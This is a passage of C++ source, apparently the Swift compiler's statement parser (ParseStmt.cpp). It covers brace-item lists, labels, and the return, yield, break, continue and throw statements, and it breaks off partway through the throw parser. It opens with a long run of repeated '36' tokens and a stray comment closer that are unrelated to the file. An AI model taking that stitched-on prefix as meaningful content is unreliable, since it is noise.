36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
//===--- ParseStmt.cpp - Swift Language Parser for Statements -------------===//
//
// This source file is part of the Swift.org open source project
//
// Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors
// Licensed under Apache License v2.0 with Runtime Library Exception
//
// See https://swift.org/LICENSE.txt for license information
// See https://swift.org/CONTRIBUTORS.txt for the list of Swift project authors
//
//===----------------------------------------------------------------------===//
//
// Statement Parsing and AST Building
//
//===----------------------------------------------------------------------===//
#include "swift/Parse/Parser.h"
#include "swift/AST/Attr.h"
#include "swift/AST/Decl.h"
#include "swift/Basic/Defer.h"
#include "swift/Basic/Version.h"
#include "swift/Parse/Lexer.h"
#include "swift/Parse/CodeCompletionCallbacks.h"
#include "swift/Parse/SyntaxParsingContext.h"
#include "swift/Subsystems.h"
#include "swift/Syntax/TokenSyntax.h"
#include "llvm/ADT/PointerUnion.h"
#include "llvm/ADT/Twine.h"
#include "llvm/Support/Compiler.h"
#include "llvm/Support/SaveAndRestore.h"
using namespace swift;
using namespace swift::syntax;
/// isStartOfStmt - Return true if the current token starts a statement.
///
bool Parser::isStartOfStmt() {
switch (Tok.getKind()) {
default: return false;
case tok::kw_return:
case tok::kw_throw:
case tok::kw_defer:
case tok::kw_if:
case tok::kw_guard:
case tok::kw_while:
case tok::kw_do:
case tok::kw_repeat:
case tok::kw_for:
case tok::kw_break:
case tok::kw_continue:
case tok::kw_fallthrough:
case tok::kw_switch:
case tok::kw_case:
case tok::kw_default:
case tok::kw_yield:
case tok::pound_if:
case tok::pound_warning:
case tok::pound_error:
case tok::pound_sourceLocation:
return true;
case tok::pound_line:
// #line at the start of a line is a directive, when within, it is an expr.
return Tok.isAtStartOfLine();
case tok::kw_try: {
// "try" cannot actually start any statements, but we parse it there for
// better recovery.
Parser::BacktrackingScope backtrack(*this);
consumeToken(tok::kw_try);
return isStartOfStmt();
}
case tok::identifier: {
// "identifier ':' for/while/do/switch" is a label on a loop/switch.
if (!peekToken().is(tok::colon)) {
// "yield" in the right context begins a yield statement.
if (isContextualYieldKeyword()) {
return true;
}
return false;
}
// To disambiguate other cases of "identifier :", which might be part of a
// question colon expression or something else, we look ahead to the second
// token.
Parser::BacktrackingScope backtrack(*this);
consumeToken(tok::identifier);
consumeToken(tok::colon);
// For better recovery, we just accept a label on any statement. We reject
// putting a label on something inappropriate in parseStmt().
return isStartOfStmt();
}
}
}
ParserStatus Parser::parseExprOrStmt(ASTNode &Result) {
if (Tok.is(tok::semi)) {
SyntaxParsingContext ErrorCtxt(SyntaxContext, SyntaxContextKind::Stmt);
diagnose(Tok, diag::illegal_semi_stmt)
.fixItRemove(SourceRange(Tok.getLoc()));
consumeToken();
return makeParserError();
}
if (Tok.is(tok::pound) && Tok.isAtStartOfLine() &&
peekToken().is(tok::code_complete)) {
consumeToken();
if (CodeCompletion)
CodeCompletion->completeAfterPoundDirective();
consumeToken(tok::code_complete);
return makeParserCodeCompletionStatus();
}
if (isStartOfStmt()) {
ParserResult<Stmt> Res = parseStmt();
if (Res.isNonNull())
Result = Res.get();
return Res;
}
// Note that we're parsing a statement.
StructureMarkerRAII ParsingStmt(*this, Tok.getLoc(),
StructureMarkerKind::Statement);
if (CodeCompletion)
CodeCompletion->setExprBeginning(getParserPosition());
if (Tok.is(tok::code_complete)) {
if (CodeCompletion)
CodeCompletion->completeStmtOrExpr();
SyntaxParsingContext ErrorCtxt(SyntaxContext, SyntaxContextKind::Stmt);
consumeToken(tok::code_complete);
return makeParserCodeCompletionStatus();
}
ParserResult<Expr> ResultExpr = parseExpr(diag::expected_expr);
if (ResultExpr.isNonNull()) {
Result = ResultExpr.get();
} else if (!ResultExpr.hasCodeCompletion()) {
// If we've consumed any tokens at all, build an error expression
// covering the consumed range.
SourceLoc startLoc = StructureMarkers.back().Loc;
if (startLoc != Tok.getLoc()) {
Result = new (Context) ErrorExpr(SourceRange(startLoc, PreviousLoc));
}
}
if (ResultExpr.hasCodeCompletion() && CodeCompletion) {
CodeCompletion->completeExpr();
}
return ResultExpr;
}
/// Returns whether the parser's current position is the start of a switch case,
/// given that we're in the middle of a switch already.
static bool isAtStartOfSwitchCase(Parser &parser,
bool needsToBacktrack = true) {
Optional<Parser::BacktrackingScope> backtrack;
// Check for and consume attributes. The only valid attribute is `@unknown`
// but that's a semantic restriction.
while (parser.Tok.is(tok::at_sign)) {
if (!parser.peekToken().is(tok::identifier))
return false;
if (needsToBacktrack && !backtrack)
backtrack.emplace(parser);
parser.consumeToken(tok::at_sign);
parser.consumeIdentifier();
if (parser.Tok.is(tok::l_paren))
parser.skipSingle();
}
return parser.Tok.isAny(tok::kw_case, tok::kw_default);
}
bool Parser::isTerminatorForBraceItemListKind(BraceItemListKind Kind,
ArrayRef<ASTNode> ParsedDecls) {
switch (Kind) {
case BraceItemListKind::Brace:
return false;
case BraceItemListKind::Case: {
if (Tok.is(tok::pound_if)) {
// Backtracking scopes are expensive, so avoid setting one up if possible.
Parser::BacktrackingScope Backtrack(*this);
// '#if' here could be to guard 'case:' or statements in cases.
// If the next non-directive line starts with 'case' or 'default', it is
// for 'case's.
do {
consumeToken();
// just find the end of the line
skipUntilTokenOrEndOfLine(tok::NUM_TOKENS);
} while (Tok.isAny(tok::pound_if, tok::pound_elseif, tok::pound_else));
return isAtStartOfSwitchCase(*this, /*needsToBacktrack*/false);
}
return isAtStartOfSwitchCase(*this);
}
case BraceItemListKind::TopLevelCode:
// When parsing the top level executable code for a module, if we parsed
// some executable code, then we're done. We want to process (name bind,
// type check, etc) decls one at a time to make sure that there are not
// forward type references, etc. There is an outer loop around the parser
// that will reinvoke the parser at the top level on each statement until
// EOF. In contrast, it is ok to have forward references between classes,
// functions, etc.
for (auto I : ParsedDecls) {
if (isa<TopLevelCodeDecl>(I.get<Decl*>()))
// Only bail out if the next token is at the start of a line. If we
// don't, then we may accidentally allow things like "a = 1 b = 4".
// FIXME: This is really dubious. This will reject some things, but
// allow other things we don't want.
if (Tok.isAtStartOfLine())
return true;
}
return false;
case BraceItemListKind::TopLevelLibrary:
return false;
case BraceItemListKind::ActiveConditionalBlock:
case BraceItemListKind::InactiveConditionalBlock:
return Tok.isNot(tok::pound_else) && Tok.isNot(tok::pound_endif) &&
Tok.isNot(tok::pound_elseif);
}
llvm_unreachable("Unhandled BraceItemListKind in switch.");
}
void Parser::consumeTopLevelDecl(ParserPosition BeginParserPosition,
TopLevelCodeDecl *TLCD) {
backtrackToPosition(BeginParserPosition);
SourceLoc BeginLoc = Tok.getLoc();
// Consume tokens up to code completion token.
while (Tok.isNot(tok::code_complete, tok::eof)) {
consumeToken();
}
// Consume the code completion token, if there is one.
consumeIf(tok::code_complete);
// Also perform the same recovery as the main parser to capture tokens from
// this decl that are past the code completion token.
skipUntilDeclStmtRBrace(tok::l_brace);
SourceLoc EndLoc = Tok.getLoc();
State->delayTopLevel(TLCD, { BeginLoc, EndLoc },
BeginParserPosition.PreviousLoc);
// Skip the rest of the file to prevent the parser from constructing the AST
// for it. Forward references are not allowed at the top level.
skipUntil(tok::eof);
}
/// brace-item:
/// decl
/// expr
/// stmt
/// stmt:
/// ';'
/// stmt-assign
/// stmt-if
/// stmt-guard
/// stmt-for-c-style
/// stmt-for-each
/// stmt-switch
/// stmt-control-transfer
/// stmt-control-transfer:
/// stmt-return
/// stmt-break
/// stmt-continue
/// stmt-fallthrough
/// stmt-assign:
/// expr '=' expr
ParserStatus Parser::parseBraceItems(SmallVectorImpl<ASTNode> &Entries,
BraceItemListKind Kind,
BraceItemListKind ConditionalBlockKind) {
SyntaxParsingContext ItemListContext(SyntaxContext,
SyntaxKind::CodeBlockItemList);
bool IsTopLevel = (Kind == BraceItemListKind::TopLevelCode) ||
(Kind == BraceItemListKind::TopLevelLibrary);
bool isActiveConditionalBlock =
ConditionalBlockKind == BraceItemListKind::ActiveConditionalBlock;
bool isConditionalBlock = isActiveConditionalBlock ||
ConditionalBlockKind == BraceItemListKind::InactiveConditionalBlock;
// If we're not parsing an active #if block, form a new lexical scope.
Optional<Scope> initScope;
if (!isActiveConditionalBlock) {
auto scopeKind = IsTopLevel ? ScopeKind::TopLevel : ScopeKind::Brace;
initScope.emplace(this, scopeKind,
ConditionalBlockKind ==
BraceItemListKind::InactiveConditionalBlock);
}
ParserStatus BraceItemsStatus;
bool PreviousHadSemi = true;
while ((IsTopLevel || Tok.isNot(tok::r_brace)) &&
Tok.isNot(tok::pound_endif) &&
Tok.isNot(tok::pound_elseif) &&
Tok.isNot(tok::pound_else) &&
Tok.isNot(tok::eof) &&
Tok.isNot(tok::kw_sil) &&
Tok.isNot(tok::kw_sil_scope) &&
Tok.isNot(tok::kw_sil_stage) &&
Tok.isNot(tok::kw_sil_vtable) &&
Tok.isNot(tok::kw_sil_global) &&
Tok.isNot(tok::kw_sil_witness_table) &&
Tok.isNot(tok::kw_sil_default_witness_table) &&
Tok.isNot(tok::kw_sil_property) &&
(isConditionalBlock ||
!isTerminatorForBraceItemListKind(Kind, Entries))) {
SyntaxParsingContext NodeContext(SyntaxContext, SyntaxKind::CodeBlockItem);
if (loadCurrentSyntaxNodeFromCache()) {
continue;
}
if (Tok.is(tok::r_brace)) {
SyntaxParsingContext ErrContext(SyntaxContext, SyntaxContextKind::Stmt);
assert(IsTopLevel);
diagnose(Tok, diag::extra_rbrace)
.fixItRemove(Tok.getLoc());
consumeToken();
continue;
}
// Eat invalid tokens instead of allowing them to produce downstream errors.
if (Tok.is(tok::unknown)) {
SyntaxParsingContext ErrContext(SyntaxContext, SyntaxContextKind::Stmt);
if (Tok.getText().startswith("\"\"\"")) {
// This was due to unterminated multi-line string.
IsInputIncomplete = true;
}
consumeToken();
continue;
}
bool NeedParseErrorRecovery = false;
ASTNode Result;
// If the previous statement didn't have a semicolon and this new
// statement doesn't start a line, complain.
if (!PreviousHadSemi && !Tok.isAtStartOfLine()) {
SourceLoc EndOfPreviousLoc = getEndOfPreviousLoc();
diagnose(EndOfPreviousLoc, diag::statement_same_line_without_semi)
.fixItInsert(EndOfPreviousLoc, ";");
// FIXME: Add semicolon to the AST?
}
ParserPosition BeginParserPosition;
if (isCodeCompletionFirstPass())
BeginParserPosition = getParserPosition();
// Parse the decl, stmt, or expression.
PreviousHadSemi = false;
if (Tok.is(tok::pound_if)) {
auto IfConfigResult = parseIfConfig(
[&](SmallVectorImpl<ASTNode> &Elements, bool IsActive) {
parseBraceItems(Elements, Kind, IsActive
? BraceItemListKind::ActiveConditionalBlock
: BraceItemListKind::InactiveConditionalBlock);
});
if (IfConfigResult.hasCodeCompletion() && isCodeCompletionFirstPass()) {
consumeDecl(BeginParserPosition, None, IsTopLevel);
return IfConfigResult;
}
BraceItemsStatus |= IfConfigResult;
if (auto ICD = IfConfigResult.getPtrOrNull()) {
Result = ICD;
// Add the #if block itself
Entries.push_back(ICD);
for (auto &Entry : ICD->getActiveClauseElements()) {
if (Entry.is<Decl *>() && isa<IfConfigDecl>(Entry.get<Decl *>()))
// Don't hoist nested '#if'.
continue;
Entries.push_back(Entry);
if (Entry.is<Decl *>())
Entry.get<Decl *>()->setEscapedFromIfConfig(true);
}
} else {
NeedParseErrorRecovery = true;
continue;
}
} else if (Tok.is(tok::pound_line)) {
ParserStatus Status = parseLineDirective(true);
BraceItemsStatus |= Status;
NeedParseErrorRecovery = Status.isError();
} else if (Tok.is(tok::pound_sourceLocation)) {
ParserStatus Status = parseLineDirective(false);
BraceItemsStatus |= Status;
NeedParseErrorRecovery = Status.isError();
} else if (isStartOfDecl()) {
SmallVector<Decl*, 8> TmpDecls;
ParserResult<Decl> DeclResult =
parseDecl(IsTopLevel ? PD_AllowTopLevel : PD_Default,
[&](Decl *D) {TmpDecls.push_back(D);});
if (DeclResult.isParseError()) {
NeedParseErrorRecovery = true;
if (DeclResult.hasCodeCompletion() && IsTopLevel &&
isCodeCompletionFirstPass()) {
consumeDecl(BeginParserPosition, None, IsTopLevel);
return DeclResult;
}
}
Result = DeclResult.getPtrOrNull();
Entries.append(TmpDecls.begin(), TmpDecls.end());
} else if (IsTopLevel) {
// If this is a statement or expression at the top level of the module,
// Parse it as a child of a TopLevelCodeDecl.
auto *TLCD = new (Context) TopLevelCodeDecl(CurDeclContext);
ContextChange CC(*this, TLCD, &State->getTopLevelContext());
SourceLoc StartLoc = Tok.getLoc();
// Expressions can't begin with a closure literal at statement position.
// This prevents potential ambiguities with trailing closure syntax.
if (Tok.is(tok::l_brace)) {
diagnose(Tok, diag::statement_begins_with_closure);
}
ParserStatus Status = parseExprOrStmt(Result);
if (Status.hasCodeCompletion() && isCodeCompletionFirstPass()) {
consumeTopLevelDecl(BeginParserPosition, TLCD);
auto Brace = BraceStmt::create(Context, StartLoc, {}, PreviousLoc);
TLCD->setBody(Brace);
Entries.push_back(TLCD);
return Status;
}
if (Status.isError())
NeedParseErrorRecovery = true;
else if (!allowTopLevelCode()) {
diagnose(StartLoc,
Result.is<Stmt*>() ? diag::illegal_top_level_stmt
: diag::illegal_top_level_expr);
}
if (!Result.isNull()) {
// NOTE: this is a 'virtual' brace statement which does not have
// explicit '{' or '}', so the start and end locations should be
// the same as those of the result node
auto Brace = BraceStmt::create(Context, Result.getStartLoc(),
Result, Result.getEndLoc());
TLCD->setBody(Brace);
Entries.push_back(TLCD);
}
} else if (Tok.is(tok::kw_init) && isa<ConstructorDecl>(CurDeclContext)) {
SourceLoc StartLoc = Tok.getLoc();
auto CD = cast<ConstructorDecl>(CurDeclContext);
// Hint at missing 'self.' or 'super.' then skip this statement.
bool isSelf = !CD->isDesignatedInit() || !isa<ClassDecl>(CD->getParent());
diagnose(StartLoc, diag::invalid_nested_init, isSelf)
.fixItInsert(StartLoc, isSelf ? "self." : "super.");
NeedParseErrorRecovery = true;
} else {
ParserStatus ExprOrStmtStatus = parseExprOrStmt(Result);
BraceItemsStatus |= ExprOrStmtStatus;
if (ExprOrStmtStatus.isError())
NeedParseErrorRecovery = true;
if (!Result.isNull())
Entries.push_back(Result);
}
if (!NeedParseErrorRecovery && Tok.is(tok::semi)) {
PreviousHadSemi = true;
if (auto *E = Result.dyn_cast<Expr*>())
E->TrailingSemiLoc = consumeToken(tok::semi);
else if (auto *S = Result.dyn_cast<Stmt*>())
S->TrailingSemiLoc = consumeToken(tok::semi);
else if (auto *D = Result.dyn_cast<Decl*>())
D->TrailingSemiLoc = consumeToken(tok::semi);
else
assert(!Result && "Unsupported AST node");
}
if (NeedParseErrorRecovery) {
SyntaxParsingContext TokenListCtxt(SyntaxContext,
SyntaxKind::NonEmptyTokenList);
// If we had a parse error, skip to the start of the next stmt, decl or
// '{'.
//
// It would be ideal to stop at the start of the next expression (e.g.
// "X = 4"), but distinguishing the start of an expression from the middle
// of one is "hard".
skipUntilDeclStmtRBrace(tok::l_brace);
// If we have to recover, pretend that we had a semicolon; it's less
// noisy that way.
PreviousHadSemi = true;
}
}
return BraceItemsStatus;
}
void Parser::parseTopLevelCodeDeclDelayed() {
auto DelayedState = State->takeDelayedDeclState();
assert(DelayedState.get() && "should have delayed state");
auto BeginParserPosition = getParserPosition(DelayedState->BodyPos);
auto EndLexerState = L->getStateForEndOfTokenLoc(DelayedState->BodyEnd);
// ParserPositionRAII needs a primed parser to restore to.
if (Tok.is(tok::NUM_TOKENS))
consumeTokenWithoutFeedingReceiver();
// Ensure that we restore the parser state at exit.
ParserPositionRAII PPR(*this);
// Create a lexer that cannot go past the end state.
Lexer LocalLex(*L, BeginParserPosition.LS, EndLexerState);
// Temporarily swap out the parser's current lexer with our new one.
llvm::SaveAndRestore<Lexer *> T(L, &LocalLex);
// Rewind to the beginning of the top-level code.
restoreParserPosition(BeginParserPosition);
// Re-enter the lexical scope.
Scope S(this, DelayedState->takeScope());
// Re-enter the top-level decl context.
// FIXME: this can issue discriminators out-of-order?
auto *TLCD = cast<TopLevelCodeDecl>(DelayedState->ParentContext);
ContextChange CC(*this, TLCD, &State->getTopLevelContext());
SourceLoc StartLoc = Tok.getLoc();
ASTNode Result;
// Expressions can't begin with a closure literal at statement position. This
// prevents potential ambiguities with trailing closure syntax.
if (Tok.is(tok::l_brace)) {
diagnose(Tok, diag::statement_begins_with_closure);
}
parseExprOrStmt(Result);
if (!Result.isNull()) {
auto Brace = BraceStmt::create(Context, StartLoc, Result, Tok.getLoc());
TLCD->setBody(Brace);
}
}
/// Recover from a 'case' or 'default' outside of a 'switch' by consuming up to
/// the next ':'.
static ParserResult<Stmt> recoverFromInvalidCase(Parser &P) {
assert(P.Tok.is(tok::kw_case) || P.Tok.is(tok::kw_default)
&& "not case or default?!");
P.diagnose(P.Tok, diag::case_outside_of_switch, P.Tok.getText());
P.skipUntil(tok::colon);
// FIXME: Return an ErrorStmt?
return nullptr;
}
ParserResult<Stmt> Parser::parseStmt() {
SyntaxParsingContext LocalContext(SyntaxContext, SyntaxContextKind::Stmt);
// Note that we're parsing a statement.
StructureMarkerRAII ParsingStmt(*this, Tok.getLoc(),
StructureMarkerKind::Statement);
LabeledStmtInfo LabelInfo;
// If this is a label on a loop/switch statement, consume it and pass it into
// parsing logic below.
if (Tok.is(tok::identifier) && peekToken().is(tok::colon)) {
LabelInfo.Loc = consumeIdentifier(&LabelInfo.Name);
consumeToken(tok::colon);
}
SourceLoc tryLoc;
(void)consumeIf(tok::kw_try, tryLoc);
// Claim contextual statement keywords now that we've committed
// to parsing a statement.
if (isContextualYieldKeyword()) {
Tok.setKind(tok::kw_yield);
}
switch (Tok.getKind()) {
case tok::pound_line:
case tok::pound_sourceLocation:
case tok::pound_if:
case tok::pound_error:
case tok::pound_warning:
assert((LabelInfo || tryLoc.isValid()) &&
"unlabeled directives should be handled earlier");
// Bailout, and let parseBraceItems() parse them.
LLVM_FALLTHROUGH;
default:
diagnose(Tok, tryLoc.isValid() ? diag::expected_expr : diag::expected_stmt);
return nullptr;
case tok::kw_return:
if (LabelInfo) diagnose(LabelInfo.Loc, diag::invalid_label_on_stmt);
return parseStmtReturn(tryLoc);
case tok::kw_yield:
if (LabelInfo) diagnose(LabelInfo.Loc, diag::invalid_label_on_stmt);
return parseStmtYield(tryLoc);
case tok::kw_throw:
if (LabelInfo) diagnose(LabelInfo.Loc, diag::invalid_label_on_stmt);
return parseStmtThrow(tryLoc);
case tok::kw_defer:
if (LabelInfo) diagnose(LabelInfo.Loc, diag::invalid_label_on_stmt);
if (tryLoc.isValid()) diagnose(tryLoc, diag::try_on_stmt, Tok.getText());
return parseStmtDefer();
case tok::kw_if:
if (tryLoc.isValid()) diagnose(tryLoc, diag::try_on_stmt, Tok.getText());
return parseStmtIf(LabelInfo);
case tok::kw_guard:
if (LabelInfo) diagnose(LabelInfo.Loc, diag::invalid_label_on_stmt);
if (tryLoc.isValid()) diagnose(tryLoc, diag::try_on_stmt, Tok.getText());
return parseStmtGuard();
case tok::kw_while:
if (tryLoc.isValid()) diagnose(tryLoc, diag::try_on_stmt, Tok.getText());
return parseStmtWhile(LabelInfo);
case tok::kw_repeat:
if (tryLoc.isValid()) diagnose(tryLoc, diag::try_on_stmt, Tok.getText());
return parseStmtRepeat(LabelInfo);
case tok::kw_do:
if (tryLoc.isValid()) diagnose(tryLoc, diag::try_on_stmt, Tok.getText());
return parseStmtDo(LabelInfo);
case tok::kw_for:
if (tryLoc.isValid()) diagnose(tryLoc, diag::try_on_stmt, Tok.getText());
return parseStmtForEach(LabelInfo);
case tok::kw_switch:
if (tryLoc.isValid()) diagnose(tryLoc, diag::try_on_stmt, Tok.getText());
return parseStmtSwitch(LabelInfo);
/// 'case' and 'default' are only valid at the top level of a switch.
case tok::kw_case:
case tok::kw_default:
return recoverFromInvalidCase(*this);
case tok::kw_break:
if (LabelInfo) diagnose(LabelInfo.Loc, diag::invalid_label_on_stmt);
if (tryLoc.isValid()) diagnose(tryLoc, diag::try_on_stmt, Tok.getText());
return parseStmtBreak();
case tok::kw_continue:
if (LabelInfo) diagnose(LabelInfo.Loc, diag::invalid_label_on_stmt);
if (tryLoc.isValid()) diagnose(tryLoc, diag::try_on_stmt, Tok.getText());
return parseStmtContinue();
case tok::kw_fallthrough: {
if (LabelInfo) diagnose(LabelInfo.Loc, diag::invalid_label_on_stmt);
if (tryLoc.isValid()) diagnose(tryLoc, diag::try_on_stmt, Tok.getText());
SyntaxContext->setCreateSyntax(SyntaxKind::FallthroughStmt);
return makeParserResult(
new (Context) FallthroughStmt(consumeToken(tok::kw_fallthrough)));
}
}
}
/// parseBraceItemList - A brace enclosed expression/statement/decl list. For
/// example { 1; 4+5; } or { 1; 2 }. Always occurs as part of some other stmt
/// or decl.
///
/// brace-item-list:
/// '{' brace-item* '}'
///
ParserResult<BraceStmt> Parser::parseBraceItemList(Diag<> ID) {
if (Tok.isNot(tok::l_brace)) {
diagnose(Tok, ID);
// Attempt to recover by looking for a left brace on the same line
if (!skipUntilTokenOrEndOfLine(tok::l_brace))
return nullptr;
}
SyntaxParsingContext LocalContext(SyntaxContext, SyntaxKind::CodeBlock);
SourceLoc LBLoc = consumeToken(tok::l_brace);
SmallVector<ASTNode, 16> Entries;
SourceLoc RBLoc;
ParserStatus Status = parseBraceItems(Entries, BraceItemListKind::Brace,
BraceItemListKind::Brace);
if (parseMatchingToken(tok::r_brace, RBLoc,
diag::expected_rbrace_in_brace_stmt, LBLoc)) {
// Synthesize a r-brace if the source doesn't have any.
LocalContext.synthesize(tok::r_brace);
}
return makeParserResult(Status,
BraceStmt::create(Context, LBLoc, Entries, RBLoc));
}
/// parseStmtBreak
///
/// stmt-break:
/// 'break' identifier?
///
ParserResult<Stmt> Parser::parseStmtBreak() {
SyntaxContext->setCreateSyntax(SyntaxKind::BreakStmt);
SourceLoc Loc = consumeToken(tok::kw_break);
SourceLoc TargetLoc;
Identifier Target;
// If we have an identifier after this, which is not the start of another
// stmt or decl, we assume it is the label to break to, unless there is a
// line break. There is ambiguity with expressions (e.g. "break x+y") but
// since the expression after the break is dead, we don't feel bad eagerly
// parsing this.
if (Tok.is(tok::identifier) && !Tok.isAtStartOfLine() &&
!isStartOfStmt() && !isStartOfDecl())
TargetLoc = consumeIdentifier(&Target);
return makeParserResult(new (Context) BreakStmt(Loc, Target, TargetLoc));
}
/// parseStmtContinue
///
/// stmt-continue:
/// 'continue' identifier?
///
ParserResult<Stmt> Parser::parseStmtContinue() {
SyntaxContext->setCreateSyntax(SyntaxKind::ContinueStmt);
SourceLoc Loc = consumeToken(tok::kw_continue);
SourceLoc TargetLoc;
Identifier Target;
// If we have an identifier after this, which is not the start of another
// stmt or decl, we assume it is the label to continue to, unless there is a
// line break. There is ambiguity with expressions (e.g. "continue x+y") but
// since the expression after the continue is dead, we don't feel bad eagerly
// parsing this.
if (Tok.is(tok::identifier) && !Tok.isAtStartOfLine() &&
!isStartOfStmt() && !isStartOfDecl())
TargetLoc = consumeIdentifier(&Target);
return makeParserResult(new (Context) ContinueStmt(Loc, Target, TargetLoc));
}
/// parseStmtReturn
///
/// stmt-return:
/// 'return' expr?
///
ParserResult<Stmt> Parser::parseStmtReturn(SourceLoc tryLoc) {
SyntaxContext->setCreateSyntax(SyntaxKind::ReturnStmt);
SourceLoc ReturnLoc = consumeToken(tok::kw_return);
if (Tok.is(tok::code_complete)) {
auto CCE = new (Context) CodeCompletionExpr(SourceRange(Tok.getLoc()));
auto Result = makeParserResult(new (Context) ReturnStmt(ReturnLoc, CCE));
if (CodeCompletion) {
CodeCompletion->completeReturnStmt(CCE);
}
Result.setHasCodeCompletion();
consumeToken();
return Result;
}
// Handle the ambiguity between consuming the expression and allowing the
// enclosing stmt-brace to get it by eagerly eating it unless the return is
// followed by a '}', ';', statement or decl start keyword sequence.
if (Tok.isNot(tok::r_brace, tok::semi, tok::eof, tok::pound_if,
tok::pound_error, tok::pound_warning, tok::pound_endif,
tok::pound_else, tok::pound_elseif) &&
!isStartOfStmt() && !isStartOfDecl()) {
SourceLoc ExprLoc = Tok.getLoc();
// Issue a warning when the returned expression is on a different line than
// the return keyword, but both have the same indentation.
if (SourceMgr.getLineAndColumn(ReturnLoc).second ==
SourceMgr.getLineAndColumn(ExprLoc).second) {
diagnose(ExprLoc, diag::unindented_code_after_return);
diagnose(ExprLoc, diag::indent_expression_to_silence);
}
ParserResult<Expr> Result = parseExpr(diag::expected_expr_return);
if (Result.isNull()) {
// Create an ErrorExpr to tell the type checker that this return
// statement had an expression argument in the source. This suppresses
// the error about missing return value in a non-void function.
Result = makeParserErrorResult(new (Context) ErrorExpr(ExprLoc));
}
if (tryLoc.isValid()) {
diagnose(tryLoc, diag::try_on_return_throw_yield, /*return=*/0)
.fixItInsert(ExprLoc, "try ")
.fixItRemoveChars(tryLoc, ReturnLoc);
// Note: We can't use tryLoc here because that's outside the ReturnStmt's
// source range.
if (Result.isNonNull() && !isa<ErrorExpr>(Result.get()))
Result = makeParserResult(new (Context) TryExpr(ExprLoc, Result.get()));
}
return makeParserResult(
Result, new (Context) ReturnStmt(ReturnLoc, Result.getPtrOrNull()));
}
if (tryLoc.isValid())
diagnose(tryLoc, diag::try_on_stmt, "return");
return makeParserResult(new (Context) ReturnStmt(ReturnLoc, nullptr));
}
/// parseStmtYield
///
/// stmt-yield:
/// 'yield' expr
/// 'yield' '(' expr-list ')'
///
/// Note that a parenthesis always starts the second (list) grammar.
ParserResult<Stmt> Parser::parseStmtYield(SourceLoc tryLoc) {
SyntaxContext->setCreateSyntax(SyntaxKind::YieldStmt);
SourceLoc yieldLoc = consumeToken(tok::kw_yield);
if (Tok.is(tok::code_complete)) {
auto cce = new (Context) CodeCompletionExpr(SourceRange(Tok.getLoc()));
auto result = makeParserResult(
YieldStmt::create(Context, yieldLoc, SourceLoc(), cce, SourceLoc()));
if (CodeCompletion) {
CodeCompletion->completeYieldStmt(cce, /*index=*/ None);
}
result.setHasCodeCompletion();
consumeToken();
return result;
}
ParserStatus status;
SourceLoc lpLoc, rpLoc;
SmallVector<Expr*, 4> yields;
if (Tok.is(tok::l_paren)) {
// If there was a 'try' on the yield, and there are multiple
// yielded values, suggest just removing the try instead of
// suggesting adding it to every yielded value.
if (tryLoc.isValid()) {
diagnose(tryLoc, diag::try_on_return_throw_yield, /*yield=*/2)
.fixItRemoveChars(tryLoc, yieldLoc);
}
SyntaxParsingContext YieldsCtxt(SyntaxContext, SyntaxKind::YieldList);
SmallVector<Identifier, 4> yieldLabels;
SmallVector<SourceLoc, 4> yieldLabelLocs;
Expr *trailingClosure = nullptr;
status = parseExprList(tok::l_paren, tok::r_paren,
/*postfix (allow trailing closure)*/ false,
/*expr basic (irrelevant)*/ true,
lpLoc,
yields, yieldLabels, yieldLabelLocs,
rpLoc,
trailingClosure,
SyntaxKind::ExprList);
assert(trailingClosure == nullptr);
assert(yieldLabels.empty());
assert(yieldLabelLocs.empty());
} else {
SourceLoc beginLoc = Tok.getLoc();
// There's a single yielded value, so suggest moving 'try' before it.
if (tryLoc.isValid()) {
diagnose(tryLoc, diag::try_on_return_throw_yield, /*yield=*/2)
.fixItInsert(beginLoc, "try ")
.fixItRemoveChars(tryLoc, yieldLoc);
}
auto expr = parseExpr(diag::expected_expr_yield);
if (expr.hasCodeCompletion())
return makeParserCodeCompletionResult<Stmt>();
if (expr.isParseError()) {
auto endLoc = (Tok.getLoc() == beginLoc ? beginLoc : PreviousLoc);
yields.push_back(
new (Context) ErrorExpr(SourceRange(beginLoc, endLoc)));
} else {
yields.push_back(expr.get());
}
}
return makeParserResult(
status, YieldStmt::create(Context, yieldLoc, lpLoc, yields, rpLoc));
}
/// parseStmtThrow
///
/// stmt-throw
/// 'throw' expr
///
ParserResult<Stmt> Parser::parseStmtThrow(SourceLoc tryLoc) {
SyntaxContext->setCreateSyntax(SyntaxKind::ThrowStmt);
SourceLoc throwLoc = consumeToken(tok::kw_throw);
SourceLoc exprLoc;
if (Tok.isNot(tok::eof))
exprLoc = Tok.getLoc();
ParserResult<Expr> Result = parseExpr(diag::expected_expr_throw);
if (Result.hasCodeCompletion())
return makeParserCodeCompletionResult<Stmt>();
if (Result.isNull())
Result = makeParserErrorResult(new (Context) ErrorExpr(throwLoc));
if (tryLoc.isValid() && exprLoc.isValid()) {
